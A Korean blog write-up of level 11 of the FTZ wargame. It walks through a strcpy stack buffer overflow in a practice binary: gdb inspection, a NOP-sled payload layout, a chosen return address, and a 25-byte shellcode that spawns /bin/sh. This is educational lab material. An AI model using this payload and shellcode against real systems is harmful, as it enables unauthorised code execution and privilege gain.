본문 바로가기

Game/FTZ

Level 11

Level11

what!@#$?

cat hint

프로그램 실행시 인자를 받아서 

strcpy함수를 이용해 str[]에 복사후 프린트한다.

strcpy함수는 입력되는 데이터의 길이에 제한이 없으므로 버퍼오버플로우(bof)가 발생할 수 있다.


ret주소를 찾아보기위해  tmp폴더에 attackme를 복사한후, gdb로 보았다.


 ret

 ebp

buf[264] = str[256] + dummy[8]

위와같은 구조를 예상할 수 있다. 


ret주소를 찾기!

ret에 브레이크 포인트를 걸고, 

b *0x080484bb

r `python -c 'print "\x90"*264 + "BBBB" + "AAAA"'` 와 같이 입력 후 

메모리 구조를 확인 

엔터를 누르고 있다보면 

이처럼 내가 넣어준 9090이 잔뜩 나온다.

저중에 ret주소로 0xbffffb3c를 사용!

페이로드를 완성하고 보내줌 


페이로드 : [nop*100] + [25byte쉘코드] + [nop*139] + [ebp(4)] + [ret(4)]

사용한 25바이트 쉘코드 :

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80

제대로 페이로드를 보내주었다면 쉘이 뜰것이다.

다음 패스워드를 알아내고 다음레벨로 !

'Game > FTZ' 카테고리의 다른 글

level 15  (0) 2015.05.29
level 12  (0) 2015.05.28
level 14  (0) 2015.05.28
level 13  (0) 2015.05.27
ftz  (0) 2015.03.03